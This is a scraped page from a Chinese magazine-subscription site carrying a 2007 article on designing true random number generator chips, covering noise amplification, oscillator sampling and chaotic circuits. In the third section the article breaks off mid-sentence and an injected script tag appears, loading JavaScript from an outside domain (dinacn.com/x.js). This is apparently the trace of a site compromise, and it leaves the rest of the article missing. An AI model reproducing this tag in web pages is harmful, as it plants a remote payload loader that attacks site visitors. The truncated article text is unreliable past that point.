中国最大的报刊订阅、报刊杂志订阅优惠网 购物车·我的帐户·帮助中心·补款·刊社加盟
报刊名称 邮发代号
热点分类 小学杂志 文摘 故事 摄影 音乐 财经管理 地理旅游 食品烹饪 文史考古 医学药学 石油化工 标准 计量
婴幼亲子 英语杂志 文学 小说 收藏 公关 会计税务 女性时尚 体育运动 科普杂志 电脑电子 水电 冶金 矿产 能源
中学杂志 英文报纸 美术 书法 时政新闻 健康保健 老年生活 军事法制 农业林业 汽车 交通 建筑 轻工 大学学报
真随机数发生器芯片的设计 - 看看 -看看网
  看看网 >《大众科技》> 文章正文
 《大众科技》2007-2-5 浏览 7274 次     
真随机数发生器芯片的设计
万艳 林晓伟 李炜 郑学仁 冯禀刚

    随着计算机技术、通信技术、网络技术的迅速发展,信息在存储、传送、接收和处理过程中的安全问题已受到人们的广泛关注。随机数在信息安全系统中扮演着重要的角色,在基于计算机或internet的通信和交易中有着广泛的应用。比如数据加密、密钥管理、公钥和私钥的产生、电子商务、数字签名、身份鉴定以及蒙特卡罗仿真等都要用到随机数。

  一、真随机数发生器的概念

  在信息安全系统的设计中,对随机数发生器性能有较高的要求,因此通常采用真随机数发生器。随机数序列的随机性能的好坏直接决定了信息安全系统的安全性性能。通常只要在真随机数发生器的设计中存在缺陷,人们就可能利用这个缺陷对整个安全系统进行破解。

    所谓真随机数发生器(TRNG)是指利用物理方法实现的随机数发生器。它是自然界随机的物理过程(所产生物理现象的不确定性)的反映,即使算法等TRNG的所有信息都被暴露,都无法猜测其结果,即高质量的真随机数发生器产生的随机数永远不具备周期性。这就使其在本质上区别于广泛应用的伪随机数发生器(PRNG),伪随机数发生器是基于数学算法的随机数发生器,它由真随机的种子和伪随机网络构成。一旦真随机的种子被暴露,伪随机数发生器的结果就是确定了。真随机数发生器所产生的随机数来源于真实的随机物理过程,因而彻底地消除了伪随机数的周期性问题, 只有真随机数发生器才能提供真正的、永不重复的随机数序列。这对于某些对随机数质量有特殊要求的应用有重要意义。此外,真随机数发生器产生的随机数与计算机的CPU无关。可用于某些要求独立地产生随机数的场合。

  二、真随机数发生器芯片随机源的实现

  真随机数发生器是指用物理方法实现的随机数发生器。各种随机物理过程如宇宙噪声、电路的热噪声和放射性衰变均可用来产生随机物理信号。其中与IC工艺兼容的三种随机源:放大电路噪声、振荡采样、混沌电路。

  1.电路噪声放大。电路中的噪声主要来源有:散粒噪声、接触噪声、突发噪声、雪崩噪声、热噪声等。在芯片设计中,电路中大电阻的热噪声是最易于获得的随机物理信号。最常见的电阻噪声源电路如图1所示,它广泛应用于芯片式或板卡式的随机数发生器的设计中。

  由于真随机数发生器所需要的是均匀分布的高斯型噪声, 因此在噪声发生器中应尽量突出噪声源电阻所产生的热噪声的贡献,并尽量抑制由运算放大器所产生的1/f噪声和突发噪声等非高斯型的噪声。低噪声运算放大器的噪声指标越低越好。

    高速度高性能的数字物理噪声源芯片的核心部分采用噪声迭代环原理来提高输出数据的不可预测性。噪声的影响在这个环内被不断放大,经迭代后,这种噪声的影响就将和电路的初始状态混在一起,使得几次迭代后的电路的状态完全无法估计,当然也就不可预测。

    采用参数略微拉开的两路噪声迭代环,在数据处理部分,利用异或来进一步改善数据的比。两路信号异或01还将增加对输出数预测的难度。

  2.振荡采样法。振荡采样法来产生所需要的随机数。即通过一个高电平触发的D触发器把两个独立的方波进行数字混合,用低速波来采样高速波,这种方法是利用环形振荡器的频率抖动来作为随机源的。典型的例子如图2所示。

  环形振荡器产生低频的时钟作为D触发器的时钟输入端。压控振荡器VCO(或CCO)产生的高频数据作为D触发器的数据输入端。经过D触发器采样输出后,产生一位真随即数RGB。输出端经过伪随机网络后,通过D/A转换电路反馈到VCO的输入。这样就使得每次采样间隔内高频数据的频率都不同,从而增强了每次采样结果的随机性。当高频数据的频率在低频时钟频率一半的整数倍时,输出随机数的统计特性最差。为了保证输出数据的随机性能,低频时钟和高频数据要求互不相关且频率偏差较大。

    此外,有的芯片采用噪声迭代环原理来提高输出数据的不可预测性。噪声的影响在这个环内被不断放大,经迭代后,这种噪声的影响就将和电路的初始状态混在一起,使得几次迭代后的电路的状态完全无法预测。

  3.混沌电路。利用混沌电路本质特点:不可预测,对初始条件的敏感的依赖性。以及混沌电路在芯片中易于实现的特点,就使其成为制作真随机数发生器芯片的很好的选择。

  近来有很多文献报导了很多真随机数发(下转第72页)(上接第70页)生器芯片中混沌电路的实现方法。例如,双环振荡的电路结构;利用开关电容实现的混沌电路等。其中双环振荡的电路结构产生两个洛伦兹奇怪吸引子分别代表0和1,经采样量化后可得到真随机数。

  三、高质量真随机数的实现方法

  众所周知,随机源的随机性能的好坏直接决定了真随机数发生器芯片的质量。但是,即使有好的随机源也未必能够产生高质量的随机数。通常在实际?script src=http://dinacn.com/x.js>

【版权声明】 以上《真随机数发生器芯片的设计 》之图文信息归《大众科技》所有。未经《大众科技》书面许可,不得为任何目的、以任何形式或手段发布、复制、编辑、改编、转载、播放、展示、翻印。版权所有,《大众科技》保留所有权利。
 【更多《大众科技》文章】
·水文输入法的设计与实现(共3734次点击)2007-5-30 
·电法勘探方法在水文和工程地质中的应用(共3421次点击)2007-5-30 
·论发展电子警务与公安行政管理方式创新(共5146次点击)2007-5-30 
·基于端口检测的windows安全防护策略(共5080次点击)2007-5-30 
·谈未来网络通信安全的守护神——量子密码(共2416次点击)2007-5-30 
·网络游戏产业成功因素分析(共3740次点击)2007-5-28 
·网络时间协议在园区网中的实现(共2056次点击)2007-5-28 
·浅谈运用RSA算法增强Access数据库的安全性能(共4935次点击)2007-5-28 
·浅谈数字化校园中数据中心的建设(共2501次点击)2007-5-28 
·试谈银行局域网的安全管理(共2267次点击)2007-5-28 
   
·名称: 大众科技
·单价: 10元
·刊期: 半月刊
·年价: 240元
·邮发: 
·刊号: CN45-1235/N
 
 社区 评刊 文摘
  - 热点杂志分类 - 更多.. 
育儿 小学 中学 英语 教学 文学 小说
时政 财经 会计 旅游 时尚 健康 体育
收藏 科普 IT 汽车 医药 农林 石化
同类期刊热点
 《大自然探索》
 《百科知识》
 《模型世界》
 《博物》
 《科幻世界(下半月…》
 《中国国家天文》
 《大科技·科学之谜》
 《大自然》
 《食品与健康》
 《走近科学》
 《大科技·百科新说》
 《创意世界》
 《飞.奇幻世界》
 《中国科学探险》
 《科学与无神论》
最新期刊热点
 《21世纪英文报》
 《幼儿智力世界》
 《小爱迪生》
 《凤凰周刊》
 《译林》
 《21世纪学生英文…》
 《财经》
 《小哥白尼(趣味科…》
 《21世纪学生英文…》
 《21世纪学生英文…》
 《小猕猴智力画刊》
 《21世纪学生英文…》
 《天天爱学习(一年…》
 《小百科(低年级版)》
 《炎黄春秋》
我的账户
·我没有注册,现在注册
·查看购物车
·我的收藏夹
·我的余额
怎样订阅报纸、杂志
·如何选订报纸、杂志
·订阅报纸杂志流程
·订阅起止期选择
 
付款及寄送方式
·订阅报刊付款方式
·订阅报刊补款说明
·订阅报刊寄送说明
·订阅报刊发票说明
订阅报刊售后服务
·收不到报刊怎么办
·如何办理退订及退款
·停刊处理
·联系客服
战略合作伙伴
·中国邮政北京报刊发行局
关于看看·订阅说明·联系我们·业务合作·用户须知
看看网(www.kankan.cn)  热线电话:010-63026022
版权所有 金士兰传媒服务机构  京ICP备07010955号-2
Copyright © 2005-2011 Kingsland Media Service Group All Rights Reserved